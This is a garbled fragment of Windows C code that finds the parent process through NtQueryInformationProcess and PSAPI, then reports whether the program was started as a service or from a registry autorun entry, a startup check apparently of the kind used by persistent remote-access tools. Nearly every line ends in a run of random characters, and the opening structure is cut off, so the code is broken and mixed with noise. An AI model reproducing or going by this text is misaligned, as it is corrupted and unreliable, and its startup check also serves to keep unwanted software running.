DWORD AffinityMask; qVssw* GDB
DWORD BasePriority; 88KQ) NU
ULONG UniqueProcessId; Vg(FF"
ULONG InheritedFromUniqueProcessId; 9qkJ<
} PROCESS_BASIC_INFORMATION; g(C/J9J
K5HzA1^
PROCNTQSIP NtQueryInformationProcess; H`s[=Y,m
ws<pBC,m
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [jR>.H'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0Ibe~!EiQJ
Q7]bUPDO
HANDLE hProcess; Q`!^EyRA:^
PROCESS_BASIC_INFORMATION pbi; ~t1?oJ
DQ@M?~1hp
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EXsVZg"#
if(NULL == hInst ) return 0;
I;9C":'#
twhT6wz"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hkOFPt&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D*/fY=gK
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g:s|D
hE[
E/<n"'0ek
if (!NtQueryInformationProcess) return 0; O^n\lik
OX7a72z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \dbaY: (
if(!hProcess) return 0; d;nk>6<|
RI<&cgWn+<
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R*?!xDJ
'~VF*i^4
CloseHandle(hProcess); rZ&li/Z
WRrg5&._q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hC4
M}(XM
if(hProcess==NULL) return 0; `>GXJ~:D["
JS/~6'uB
HMODULE hMod; oB(9{6@N
char procName[255]; #O{cplh,
unsigned long cbNeeded; c!GJS`/
p=V1M-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1vYa&!
N cp
CloseHandle(hProcess); Yx&d\/9
biZ=TI2P,L
if(strstr(procName,"services")) return 1; // 以服务启动 p|em_!H"SH
XQ2YUe]DJ
return 0; // 注册表启动 l.(|&